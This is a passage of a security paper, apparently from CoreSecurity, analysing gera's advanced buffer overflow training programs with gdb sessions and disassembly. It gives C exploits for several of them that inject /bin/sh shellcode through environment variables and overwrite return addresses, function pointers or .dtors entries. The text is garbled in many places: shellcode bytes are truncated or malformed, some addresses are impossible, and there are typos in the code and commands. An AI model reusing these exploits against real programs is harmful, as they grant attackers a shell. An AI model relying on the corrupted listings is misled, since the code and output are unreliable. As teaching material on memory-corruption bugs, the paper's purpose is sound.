# Table of Contents

- Introduction ...........................................3
- Abo1.c .................................................4
- Abo2.c .................................................7
- Abo3.c .................................................9
- Abo4.c .................................................12
- Abo5.c ................................................16
- Abo6.c ................................................19
- Abo7.c ................................................21
- Abo8.c ................................................23
- Abo9.c ................................................24
- Abo10.c ...............................................29
- Conclusion ............................................32
- References ............................................33
**Introduction**

In this paper, CoreSecurity will underline some of the most common mistakes made by programmers in their software written in C programming language. The vulnerabilities that will be discussed are advanced buffer overflows (ABO), presented as ten examples by gera\(^1\). We will try to pinpoint the exact location of vulnerabilities in the code, why these types of errors are dangerous, and provide exploit for each found vulnerability. It should be considered that the environment in which we conducted our tests is a Linux Slackware 8.0 server (IA32) with compiler GNU GCC 2.95.3:

```
user@CoreLabs:~$ uname -a
Linux CoreLabs 2.4.5 #31 SMP Sat Mar 2 03:04:23 EET 2002 i586 unknown
user@CoreLabs:~$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-slackware-linux/2.95.3/specs
gcc version 2.95.3 20010315 (release)
user@CoreLabs:~$ cat /proc/cpuinfo
processor : 0
vendor_id : GenuineIntel
cpu family : 5
model : 2
model name : Pentium 75 - 200
user@CoreLabs:~$
```

We assume that reader is experienced in C programming language, and has basic knowledge of stack and heap overflows, GOT etc. In this paper, we will not provide any information about how these types of exploitation work. If not familiar, please take a look at references provided at the end of this paper.

This paper may be updated in the future to contain information about exploitation of advanced buffer overflows is other architectures/operating systems. Always refer to the most recent version, which can be downloaded from our website: [www.core-sec.com](http://www.core-sec.com).

Feel free to send any question and comments to our email at: info@core-sec.com.

---

\(^1\) Gera, “Insecure Programming by Example”
Analysis of abo1.c

The source code of this example is:

```c
/* abo1.c                                                   */
/* specially crafted to feed your brain by gera@core-sdi.com */
/* Dumb example to let you get introduced...                */

int main(int argv, char **argc) {
    char buf[256];
    strcpy(buf, argc[1]);
}
```

This is a classical example of stack buffer overflow. This code is really very easy to exploit, it’s just to get started. However, we will use it to present a technique that is known for some time now but not many people seems to use it. Let’s do the debugging:

```
user@CoreLabs:~$ gcc abo1.c -o abo1 -ggdb
user@CoreLabs:~$ gdb ./abo1
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) r `perl -e 'printf "A" x 264'`
Starting program: /home/user/gera/abo1 `perl -e 'printf "A" x 264'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0xbffff7ec       -1073743892
ecx            0xfffffd7c       -644
edx            0xbffffb78       -1073742984
ebx            0x4012ba58       1074969176
esp            0xbffff8f4       0xbffff8f4
ebp            0x41414141       0x41414141
esi            0x40015d64       1073831268
edi            0xbffff954       -1073743532
eip            0x41414141       0x41414141
eflags         0x10286  66182
(gdb) bt
#0 0x41414141 in ?? ()
Cannot access memory at address 0x41414141
(gdb) q
The program is running. Exit anyway? (y or n) y
user@CoreLabs:~$ 
```

2 Aleph One, “Smashing The Stack For Fun And Profit”
First on the stack is pushed the return address. Next saved ESP is pushed. Then local variable buf[256] is placed onto the stack. Our goal is to overwrite the return address. Buffer supplied to abo1, that is long at least 256 + 4 + 4 = 264 bytes can do that. The last four bytes (which will overwrite the return address) must contain the address of a shellcode.

However there is a small problem with shellcode address. Most of exploits would put it in the same buffer that overwrites the return address. Under different circumstances, the address of the shellcode will vary due to more or less environment variables or arguments that are being pushed onto the stack when vulnerable program is started. We will use a technique first published by Murat\textsuperscript{3}. If target system is a Linux and we place shellcode string as last environment variable, its address can be easily calculated:

\[
\text{shellcode_addr} = 0xbffffffa - \text{strlen(name_of_program)} - \text{strlen(shellcode)}
\]

Take a look at the diagram of the stack on the left. It should clear things a bit.

So here is the actual exploit for abo1.c

```c
/*
** expl1.c
** Coded by CoreSecurity - info@core-sec.com
**/

#include <string.h>
#include <unistd.h>
#define BUFSIZE 264 + 1

/* 24 bytes shellcode */
char shellcode[]={"\x31\x80\x88\x2f\x68\x2f\x73\x68\x68\x68\x2f\x62\x69"
```

\textsuperscript{3} Murat, “Buffer Overflows Demystified”
int main(void) {

    char *env[3] = (shellcode, NULL);
    char evil_buffer[BUFSIZE];
    char *p;

    /* Calculating address of shellcode */
    int ret = 0xbffffffa - strlen(shellcode) -
              strlen("/home/user/gera/abo1");

    /* Constructing the buffer */
    p = evil_buffer;
    memset(p, 'A', 260);   // Some junk
    p += 260;

    *((void **)p) = (void *) (ret);
    p += 4;
    *p = '\0';

    execle("/home/user/gera/abo1", "abo1", evil_buffer, NULL, env);
}
Analysis of abo2.c

The source code of this example is:

```c
/* abo2.c                                                   * 
* specially crafted to feed your brain by gera@core-sdi.com */
/* This is a tricky example to make you think                * 
* and give you some help on the next one                    */

int main(int argv, char **argc) {
    char buf[256];
    strcpy(buf, argc[1]);
    exit(1);
}
```

Let's debug it and see what is the difference from abo1.c.

```sh
user@CoreLabs:~/gera$ gcc abo2.c -o abo2 -ggdb
user@CoreLabs:~/gera$ gdb ./abo2
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) r `perl -e 'printf "A" x 264'`
Starting program: /home/user/gera/abo2 `perl -e 'printf "A" x 264'`
```

Program exited with code 01.
(gdb) disass main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %esp,%ebp
0x8048433 <main+3>:     sub    $0x108,%esp
0x8048439 <main+9>:     add    $0xfffffff8,%esp
0x804843c <main+12>:    mov    0xc(%ebp),%eax
0x804843f <main+15>:    add    $0x4,%eax
0x8048442 <main+18>:    mov    (%eax),%edx
0x8048444 <main+20>:    push   %edx
0x8048445 <main+21>:    lea    0xffffffff00(%ebp),%eax
0x804844b <main+27>:    push   %eax
0x804844c <main+28>:    call   0x8048334 <strcpy>
0x8048451 <main+33>:    add    $0x10,%esp
0x8048454 <main+36>:    add    $0xffffffff4,%esp
0x8048457 <main+39>:    push   $0x1
0x8048459 <main+41>:    call   0x8048324 <exit>
0x804845e <main+46>:    add    $0x10,%esp
0x8048461 <main+49>:    leave
0x8048462 <main+50>:    ret
End of assembler dump.
(gdb) q
```
Even after supplying a long enough string that will overwrite return address, program exits normally. This is because of exit() call that is just after the strcpy() call. If there weren’t such a call, the program would execute the instructions at \texttt{0x8048461} and \texttt{0x8048462}. This would lead to executing the instructions the return address points to (which we control). However no instructions after the exit() call is executed since this call takes care of program termination.

It is possible however to cause a local DoS attack when supplying a long enough string that will fill all the stack up to the address \texttt{0xbfffffff}. 
Analysis of abo3.c

The source code of this example is:

```c
/* abo3.c                                                    */
/* specially crafted to feed your brain by gera@core-sdi.com */
/* This'll prepare you for The Next Step                     */

int main(int argv, char **argc) {
    extern system, puts;
    void (*fn)(char*)=(void(*)(char*))&system;
    char buf[256];
    fn=(void(*)(char*))&puts;
    strcpy(buf, argc[1]);
    fn(argc[2]);
    exit(1);
}
```

At first glimpse, it seems quite obfuscated. This example takes two strings as arguments. The first is copied in buffer and the second is printed to stdout. If first argument is long more that 256 bytes, it will overwrite something. Debug will show exactly what.

```
user@CoreLabs:~/gera$ gcc abo3.c -o abo3 -ggdb
user@CoreLabs:~/gera$ gdb ./abo3
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) r `perl -e 'printf "B" x 260'` A
Starting program: /home/user/gera/abo3 `perl -e 'printf "B" x 260'` A
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) disass main
Dump of assembler code for function main:
0x8048490 <main>:        push    %ebp
0x8048491 <main+1>:      mov     %esp,%ebp
0x8048493 <main+3>:      sub     $0x114,%esp
0x8048499 <main+9>:      push    %ebx
0x80484a1 <main+17>:     movl    $0x804834c,0xfffffffc(%ebp)
0x80484a9 <main+10>:     movl    $0x804835c,0xfffffffc(%ebp)
0x80484ab <main+17>:     movl    $0x804839c,0xfffffffff(%ebp)
0x80484a8 <main+24>:     add     $0xffffffff8,%esp
0x80484ab <main+27>:     mov     0xc(%ebp),%eax
0x80484ae <main+30>:     add     $0x4,%eax
0x80484b1 <main+33>:     mov     (%eax),%edx
0x80484b3 <main+35>:     push    %edx
0x80484b4 <main+36>:     lea     0xfffffffffc(%ebp),%eax
0x80484ba <main+42>:     push    %eax
0x80484bb <main+43>:     call    0x804839c <strcpy>
```
In order to successfully exploit this example, attacker must not allow execution of system call exit() at address 0x080484dc. Since the address of function fn() is pushed on the stack (at 0x080484a1) just before buf[256] it can be overwritten and will be executed at 0x080484d2 before exit().

This exploit may seem like the exploit from first example. However there is one main difference that should be spotted. Here we overflow address of a function that is executed in the program flow, not return address.

Exploit may look like this:

```c
/*
** exp3.c
** Coded by CoreSecurity – info@core-sec.com
**/

#include <string.h>
#include <unistd.h>
#define BUFSIZE 261

/* 24 bytes shellcode */
char shellcode[]={
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x68\x2f\x62\x69"
"\x6e\89\xe3\x50\x89\xe1\x99\xb0\x0b\xcd\80";
```
int main(void) {
    char *env[3] = {shellcode, NULL};
    char evil_buffer[BUFSIZE];
    char *p;

    /* Calculating address of shellcode */
    int ret = 0xbffffffa - strlen(shellcode) -
            strlen("/home/user/gera/abo3");

    /* Constructing the buffer */
    p = evil_buffer;
    memset(p, 'B', 256);  // Some junk
    p += 256;

    *((void **)p) = (void *) (ret);
    p += 4;
    *p = '\0';

    /* Two arguments are passed to vulnerable program */
    execle("/home/user/gera/abo3", "abo3", evil_buffer, "A", NULL, env);
}

Analysis of abo4.c

The source code of this example is:

```c
/* abo4.c                                                    */
/* specially crafted to feed your brain by gera@core-sdi.com */
/* After this one, the next is just an Eureka! away          */
extern system, puts;
void (*fn)(char*)=(void(*)(char*))&system;

int main(int argv, char **argc) {
    char *pbuf=malloc(strlen(argc[2])+1);
    char buf[256];
    fn=(void(*)(char*))&puts;
    strcpy(buf, argc[1]);
    strcpy(pbuf, argc[2]);
    fn(argc[3]);
    while(1);
}
```

From attackers point of view the program is same with previous example. The difference however is that the address of fn() is not located on the stack anymore. Since this function is declared before main(), its address is now located exactly in .data section.

```
user@CoreLabs:~/gera$ gcc abo4.c -o abo4 -ggdb
abo4.c: In function `main':
abo4.c:10: warning: initialization makes pointer from integer without a cast
user@CoreLabs:~/gera$ gdb ./abo4
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) r `perl -e 'printf "A" x 260'` BBBB CCCC
Starting program: /home/user/gera/abo4 `perl -e 'printf "A" x 260'` BB CC
```

Program received signal SIGSEG, Segmentation fault.
strcpy (dest=0x414141 <Address 0x41414141 out of bounds>, src=0xbffffb6e "BBBB") at ../sysdeps/generic/strcpy.c:40
40   ../sysdeps/generic/strcpy.c: No such file or directory.
```

(gdb) disasm main
Dump of assembler code for function main:
0x80484d0 <main>:    push    %ebp
0x80484d1 <main+1>:   mov    %esp,%ebp
0x80484d3 <main+3>:   sub    $0x114,%esp
0x80484d9 <main+9>:   push    %ebx
0x80484da <main+10>:  add    $0xffffffff,%esp
0x80484dd <main+13>:  add    $0xffffffff,%esp
```
Vulnerabilities in your code – Advanced Buffer Overflows

0x80484e0 <main+16>:    mov 0xc(%ebp),%eax
0x80484e3 <main+19>:    add $0x8,%eax
0x80484e6 <main+22>:    mov (%eax),%edx
0x80484e8 <main+24>:    push %edx
0x80484e9 <main+25>:    call 0x80483b4 <strlen>
0x80484ee <main+30>:    add $0x10,%esp
0x80484f1 <main+33>:    mov %eax,%eax
0x80484f2 <main+34>:    lea 0x1(%eax),%edx
0x80484f3 <main+35>:    push %edx
0x80484f4 <main+36>:    call 0x8048394 <malloc>
0x80484fc <main+44>:    add $0x10,%esp
0x80484ff <main+47>:    mov %eax,%eax
0x8048501 <main+49>:    mov %eax,0xfffffffc(%ebp)
0x8048504 <main+52>:    movl $0x8048384,0x80495cc
0x804850e <main+62>:    add $0xffffffff8,%esp
0x8048511 <main+65>:    mov 0xc(%ebp),%eax
0x8048514 <main+68>:    add $0x4,%eax
0x8048517 <main+71>:    mov (%eax),%edx
0x8048519 <main+73>:    push %edx
0x804851a <main+74>:    lea 0xfffffffffc(%ebp),%eax
0x8048520 <main+80>:    push %eax
0x8048521 <main+81>:    call 0x80483d4 <strcpy>
0x8048526 <main+86>:    add $0x10,%esp
0x8048529 <main+89>:    add $0xffffffff8,%esp
0x804852c <main+92>:    mov 0xc(%ebp),%eax
0x804852f <main+95>:    add $0x8,%eax
0x8048532 <main+98>:    mov (%eax),%edx
0x8048534 <main+100>:   push %edx
0x8048535 <main+101>:   mov 0xfffffffffc(%ebp),%eax
0x8048538 <main+104>:   push %eax
0x8048539 <main+105>:   call 0x80483d4 <strcpy>
0x804853e <main+110>:   add $0x10,%esp
0x8048541 <main+113>:   add $0xffffffff4,%esp
0x8048544 <main+116>:   mov 0xc(%ebp),%eax
0x8048547 <main+119>:   add $0xc,%eax
0x804854a <main+122>:   mov (%eax),%edx
0x804854c <main+124>:   push %edx
0x804854d <main+125>:   mov 0x80495cc,%ebx
0x8048553 <main+131>:   call *%ebx
0x8048555 <main+133>:   add $0x10,%esp
0x8048558 <main+136>:   jmp 0x8048560 <main+144>
0x804855a <main+138>:   jmp 0x8048562 <main+146>
0x804855c <main+140>:   lea 0x0(%esi,1),%esi
0x8048560 <main+144>:   jmp 0x8048558 <main+136>
0x8048562 <main+146>:   mov 0xffffffffee8(%ebp),%ebx
0x8048568 <main+152>:   leave
0x8048569 <main+153>:   ret
End of assembler dump.

(gdb) main inf sec
Exec file: `/home/user/gera/abo4', file type elf32-i386.
[Some part of output was removed. It’s not needed anyway]
Example segfaulted because we overwrote (with first strcpy()) pointer to dynamically allocated buffer \texttt{pbuf} (it happens to be just before \texttt{buf\[256\]}). Now attacker can control second strcpy() to copy data from argv[2] anywhere he wants. Most probably he will choose to overflow \texttt{fn()} - 0x080495cc. It points to \texttt{puts()} (see memory at 0x08048384). Attacker will have to make it, to point to his shellcode in memory.

Exploit may look like this:

```c
/*
** exp4.c
** Coded by CoreSecurity - info@core-sec.com
*/
```
#include <string.h>
#include <unistd.h>
#define BUFSIZE1    261
#define BUFSIZE2    5
#define FN_ADDRESS  0x080495cc    /* Address of fn() */

/* 24 bytes shellcode */
char shellcode[] =
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
    "\x6e\xe9\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int  main(void) {

    char evil_buffer1[BUFSIZE1];
    char evil_buffer2[BUFSIZE2];
    char *env[3] = {shellcode, NULL};
    char *p;

    /* Calculating address of shellcode */
    int ret = 0xbfffffff - strlen(shellcode) -
        strlen("/home/user/gera/abo4");

    /* Constructing first buffer */
    p = evil_buffer1;
    memset(p, 'A', 256);    // Some junk
    p += 256;
    *((void **)p) = (void *)(FN_ADDRESS);
    p += 4;
    *p = '\0';

    /* Constructing second buffer */
    p = evil_buffer2;
    *((void **)p) = (void *)(ret);
    p += 4;
    *p = '\0';

    execle("/home/gera/user/abo4", "abo4", evil_buffer1, evil_buffer2,
        "A", NULL, env);
}
Vulnerabilities in your code – Advanced Buffer Overflows

Analysis of abo5.c

The source code of this example is:

```c
/* abo5.c */
/* specially crafted to feed your brain by gera@core-sdi.com */

/* You take the blue pill, you wake up in your bed, */
/* and you believe what you want to believe */
/* You take the red pill, */
/* and I'll show you how deep goes the rabbit hole */

int main(int argv, char **argc) {
    char *pbuf = malloc(strlen(argc[2]) + 1);
    char buf[256];

    strcpy(buf, argc[1]);
    for (; *pbuf++ = *(argc[2]++);)
      exit(1);
}
```

A supplied buffer of 260 bytes will overwrite *pbuf. Thus attacker is now in control of both arguments of strcpy(). The question is “What can be overwritten?” This example has no internal function (unlike previous one). Possible solutions are three - address of .dtors section (this destructor is called whenever a program is terminated, no matter by exit(), return() etc.), the address of exit() function in Global Offset Table, and address of __deregister_frame_info in GOT (again called upon program termination). All three should work. Addresses in GOT are:

```
user@CoreLabs:~/gera$ objdump -R ./abo5
./abo5:       file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
080496c4 R_386_GLOB_DAT    __gmon_start__
080496a8 R_386_JUMP_SLOT   __register_frame_info
080496ac R_386_JUMP_SLOT   malloc
080496b0 R_386_JUMP_SLOT   __deregister_frame_info
080496b4 R_386_JUMP_SLOT   strlen
080496b8 R_386_JUMP_SLOT   __libc_start_main
080496bc R_386_JUMP_SLOT   exit
080496c0 R_386_JUMP_SLOT   strcpy

user@CoreLabs:~/gera$
```

Address of .dtors sections that can be overwritten is:

```
user@CoreLabs:~/gera$ gdb ./abo5
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
```

Juan M. Bello Rivas, “Overwriting the .dtors section”
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) main inf sec
Exec file: `/home/user/gera/abo5', file type elf32-i386.
[Some part of output was removed. It’s not needed anyway]
0x08048308->0x0804832d at 0x00000308: .init
0x08048330->0x080483b0 at 0x00000330: .plt
0x080483b0->0x0804854c at 0x000003b0: .text
0x0804854c->0x08048568 at 0x0000054c: .fini
0x08048568->0x08048570 at 0x00000568: .rodata
0x08048570->0x0804857c at 0x00000570: .data
0x0804857c->0x08049570 at 0x0000057c: .eh_frame
0x08049570->0x0804957c at 0x0000057c: .data
0x0804957c->0x080495c4 at 0x000005c4: .dynamic
0x080495c4->0x0804968c at 0x000005c4: .dynamic
0x0804968c->0x08049694 at 0x0000068c: .ctors
0x08049694->0x08049698 at 0x00000694: .dtors
0x08049698c->0x08049698 at 0x00000698: .got
0x08049698c->0x080496e0 at 0x000006c8: __stack_end

[Some part of output was removed. It’s not needed anyway]
(gdb) x/x 0x08049694
0x8049694 <__DTOR_LIST__>:      0xffffffff
(gdb)
(gdb) 0x8049698 <__DTOR_END__>:       0x00000000
(gdb)
0x804969c <GLOBAL_OFFSET_TABLE__>: 0x080495c4
(gdb)
0x80496a0 <GLOBAL_OFFSET_TABLE__+4>: 0x00000000
(gdb) q
user@CoreLabs:~/gera$

The address that we are interested in overwriting (in .dtors section) is 0x08049698. Stack
diagram is pretty much the same as previous example so here we will not provide one. Exploit may look like this:

/*
** exp5.c
** Coded by CoreSecurity - info@core-sec.com
*/

#include <string.h>
#include <unistd.h>

#define BUFSIZE1    261
#define BUFSIZE2    5
#define DTORS_ADDRESS 0x08049698   /* Address of .dtors section */
//#define DEREG_FRAME 0x080496b0   /* Address of __deregister_frame_info
in GOT */
//#define EXIT_ADDRESS 0x080496bc   /* Address of exit() entry in GOT */

/* 24 bytes shellcode */
char shellcode[] =
"\x31\xc0\x2f\x2f\x73\x68\x68\x2f\xe9\x69"
"\x6e\x89\xe3\x55\x89\xe1\x99\xb0\x0b\xcd\x80";
int main(void) {
    char evil_buffer1[BUFSIZE1];
    char evil_buffer2[BUFSIZE2];
    char *env[3] = {shellcode, NULL};
    char *p;

    /* Calculating address of shellcode */
    int ret = 0xbffffffa - strlen(shellcode) -
    strlen("/home/user/gera/abo5");

    /* Constructing first buffer */
    p = evil_buffer1;
    memset(p, 'A', 256);    // Some junk
    p += 256;
    *((void **)p) = (void *) (DTORS_ADDRESS);
    p += 4;
    *p = '\0';

    /* Constructing second buffer */
    p = evil_buffer2;
    *((void **)p) = (void *) (ret);
    p += 4;
    *p = '\0';

    execle("/home/user/gera/abo5", "abo5", evil_buffer1, evil_buffer2, NULL, env);
}
**Analysis of abo6.c**

The source code of this example is:

```c
/* abo6.c                                                   */
/* specially crafted to feed your brain by gera@core-sdi.com */
/* return to me my love                                     */

int main(int argv, char **argc) {
    char *pbuf = malloc(strlen(argc[2]) + 1);
    char buf[256];

    strcpy(buf, argc[1]);
    strcpy(pbuf, argc[2]);
    while(1);
}
```

Very similar to abo5.c. Again attacker can have full control of second `strncpy()`, but what he should overwrite? This example has no internal functions after second `strncpy()`, nor any system function (not possible `GOT` table entry overwrite). Example doesn’t even exits – `while()` loop keeps it running forever (not possible `.dtors` overwrite). The only chance the attacker has is to overwrite the return address (located after `buf[256]`) that is pushed onto the stack when second `strncpy()` is executed. That way, when finishing with it, example should execute the code at return address. This technique could be preformed to some of above examples too. However, it is more difficult to implement, since the position of return address in the stack vary, because of different count of environment variables pushed. Note that offset and return address of next exploit may need some tweaking.

```c
/* exp6.c
*/
```
** Coded by CoreSecurity - info@core-sec.com 
*/

#include <string.h>
#include <unistd.h>

#define BUFSIZE1 261
#define BUFSIZE2 60  /* Offset */
#define RETURN_ADDRESS 0xbffffc5c

/* 24 bytes shellcode */
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void) {
    char evil_buffer1[BUFSIZE1];
    char evil_buffer2[BUFSIZE2];
    char *env[3] = {shellcode, NULL};
    char *p;
    int i = 0;

    /* Calculating address of shellcode */
    int ret = 0xbffffffa - strlen(shellcode) -
    strlen("/home/user/gera/abo6") -
    strlen("/home/user/gera/abo6") -
    strlen(shellcode) -
    strlen("/home/user/gera/abo6") -
    strlen(shellcode) -
    strlen("/home/user/gera/abo6");

    /* Constructing first buffer */
    p = evil_buffer1;
    memset(p, 'A', 256);  // Some junk
    p += 256;
    *((void **)p) = (void *) (RETURN_ADDRESS);
    p += 4;
    *p = '\0';

    /* Constructing second buffer */
    p = evil_buffer2;
    for(i = 0; i < BUFSIZE2/4; i++) {
        *((void **)p) = (void *) (ret);
        p += 4;
        i++;
    }
    *p = '\0';

    execle("/home/user/gera/abo6", "abo6", evil_buffer1, evil_buffer2,
    NULL, env);
}
Analysis of abo7.c

The source code of this example is:

```c
/* abo7.c                                                  *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* sometimes you can,       *
 * sometimes you don't      *
 * that's what life's about */

char buf[256]={1};

int main(int argv, char **argc) {
    strcpy(buf, argc[1]);
}
```

This is a typical example to demonstrate overflow in the heap and overwriting .dtors section. However, this cannot be done because of compiler version. Debugging is this:

```
user@CoreLabs:~/gera$ gcc abo7.c -o abo7 -ggdb
user@CoreLabs:~/gera$ gdb ./abo7
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) main inf sec
Exec file: `/home/user/gera/abo7', file type elf32-i386.
[Some part of output was removed. It's not needed anyway]
```

Since `buf[256]` is initialized at start, it is places in `.data` section. Attackers’ goal is to overwrite `.dtors` section. But if he do this, he will also overwrite the `.dynamic` section.

---

4 Juan M. Bello Rivas, “Overwriting the .dtors section”
This is important because upon program termination this section holds data (dynamic linking information) that is read before .dtors. Attacker will only be able to segfault the example. Here is how heap look when a program is compiled with older version of GCC:

0x08048f88->0x08048fad at 0x00000f88: .init
0x08048fb0->0x08049420 at 0x00000fb0: .plt
0x08049420->0x0804f45c at 0x00001420: .text
0x0804f45c->0x0804f478 at 0x0000745c: .fini
0x0804f480->0x080523bc at 0x00007480: .rodata
0x080533bc->0x08053478 at 0x0000a3bc: .data
0x08053478->0x0805347c at 0x0000a478: .eh_frame
0x0805347c->0x08053484 at 0x0000a47c: .ctors
0x08053484->0x0805348c at 0x0000a484: .dtors
0x0805348c->0x080535b8 at 0x0000a48c: .got
0x080535b8->0x08053660 at 0x0000a5b8: .dynamic
0x08053660->0x08053660 at 0x0000a660: .sbss
0x08053660->0x08053908 at 0x0000a660: .bss

As you can see now the .dynamic section is located after the GOT. In this case the attacker will overwrite only .eh_frame and .ctors (important only at program startup) sections and exploitation will be successful.
Analysis of abo8.c

The source code of this example is:

```c
/* abo8.c                                                    *  
* specially crafted to feed your brain by gera@core-sdi.com */
/* spot the difference */

cchar buf[256];

int main(int argv,char **argc) {
    strcpy(buf,argc[1]);
}
```

This is the same example as previous one. The only difference is that `buf[256]` is not initialized at startup. Thus it is placed in `.bss` section.

```
user@CoreLabs:~/gera$ gcc abo8.c -o abo8 -ggdb
user@CoreLabs:~/gera$ gdb ./abo8
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"...
(gdb) main inf sec
Exec file: `/home/user/gera/abo8', file type elf32-i386.
[Some part of output was removed. It’s not needed anyway]
  0x08048298->0x080482bd at 0x00000298: .init
  0x080482c0->0x08048310 at 0x000002c0: .plt
  0x08048310->0x0804843c at 0x00000310: .text
  0x0804843c->0x08048458 at 0x0000043c: .fini
  0x08048458->0x08048460 at 0x00000458: .rodata
  0x08048460->0x08048494 at 0x00000460: .data
  0x08048494c->0x0804946ac at 0x0000046c: .eh_frame
  0x08048494ac->0x08049574 at 0x000004ac: .dynamic
  0x08049574->0x0804957c at 0x00000574: .ctors
  0x0804957c->0x0804958c at 0x0000057c: .dtors
  0x08049584->0x080495c4 at 0x00000584: .got
  0x080495c0->0x080496e0 at 0x000005c0: .bss
(gdb) q
user@CoreLabs:~/gera$
```

So then the buffer is located in `.bss` section there is nothing above, that can be overwritten. Even if this example was compiled with older version of GCC.
Analysis of abo9.c

The source code of this example is:

```c
/* abo9.c                                                    */
/* specially crafted to feed your brain by gera@core-sdi.com */
/* modified by CoreSecurity */
/* free(your mind)                                           */
/* I'm not sure in what operating systems it can be done */

int main(int argv, char **argc) {
    char *pbuf1 = (char*)malloc(256);
    char *pbuf2 = (char*)malloc(256);
    // gets(pbuf1);
    strcpy(pbuf1, argc[1]);
    free(pbuf2);
    free(pbuf1);
}
```

The code above is modified to ease exploitation. Function `gets()` is replaced with `strcpy()`. Segfault occurs upon executing `free(pbuf2)`, because `strcpy()` overwrites the management information (header) of second chunk of memory\(^5\). Note that CoreSecurity will not cover in this paper details about Doug Lea’s Malloc\(^6\).

When supplying an argument with 260 bytes, last four bytes will overwrite `prev_size` field of second chunk:

```
user@CoreLabs:~/gera$ gcc abo9.c -o abo9 -ggdb
user@CoreLabs:~/gera$ ltrace ./abo9
__libc_start_main(0x08048454, 1, 0xbffffa34, 0x080482e0, 0x080484ec
<unfinished ...>
__register_frame_info(0x0804951c, 0x0804965c, 0xbffff9d8, 0x4004f138,
0x4012ba58) = 0x4012c740
malloc(256)                             = 0x08049680 <- first chunk (data)
malloc(256)                             = 0x08049788 <- second chunk (data)
strcpy(0x08049680, NULL <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
user@bahur:~/gera# gdb ./abo9
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-slackware-linux"
(gdb) r `perl -e 'printf "A" x 260'`
Starting program: /home/user/gera/abo9 `perl -e 'printf "A" x 260'
```

---
\(^5\) anonymous, “Once upon a free()”
\(^6\) Michel “MaXX” Kaempf, “Vudo malloc tricks”
Program received signal SIGSEGV, Segmentation fault.
0x40090c18 in chunk_free (ar_ptr=0x40129cc0, p=0xc6c3563f) at malloc.c:3128
3128 malloc.c: No such file or directory.
(gdb) x/x 0x08049780
0x8049780:      0x41414141  <---- prev_size field of second chunk
(gdb) 0x8049784:      0x00000100  <---- size field of second chunk
(gdb) 0x8049788:      0x00000000  <---- data in second chunk begins here
(gdb) 0x804978c:      0x00000000
(gdb) q
The program is running. Exit anyway? (y or n) y
user@CoreLabs:~/gera$

So upon trying to free() the second chunk, its prev_size field is read and a previous chunk pointer is calculated from it. In this case 0x08049780 – 0x41414141 = 0xc6c3563f. Function chunk_free() tries to read at 0xc6c3563f and of course it gets segment violation. Attackers goal is to create a fake chunk by placing negative number (a positive number is also possible to place but since a small number will contain at least one NULL byte this variant it technically impossible to accomplish) in prev_size field of second chunk. Upon merging this fake chunk with the real second chunk, unlink() procedure will swap fake chunk fields bk and fd (which attacker controls) and overwrite arbitrary address in memory.
A little explanation may be helpful here. Upon free() at second chunk, malloc implementation has to check if two neighboring chunks are already free. It first checks previous chunk (i.e. backwards consolidation). If this chunk is already free, a flag called PREV_INUSE is set to zero. This flag is located in size field on chunk being currently freed (least significant bit of size field). If this flag is unset then previous and current chunks have to be merged. Position of previous chunk is not known. Pointer to current chunk and size of previous chunk calculates it.

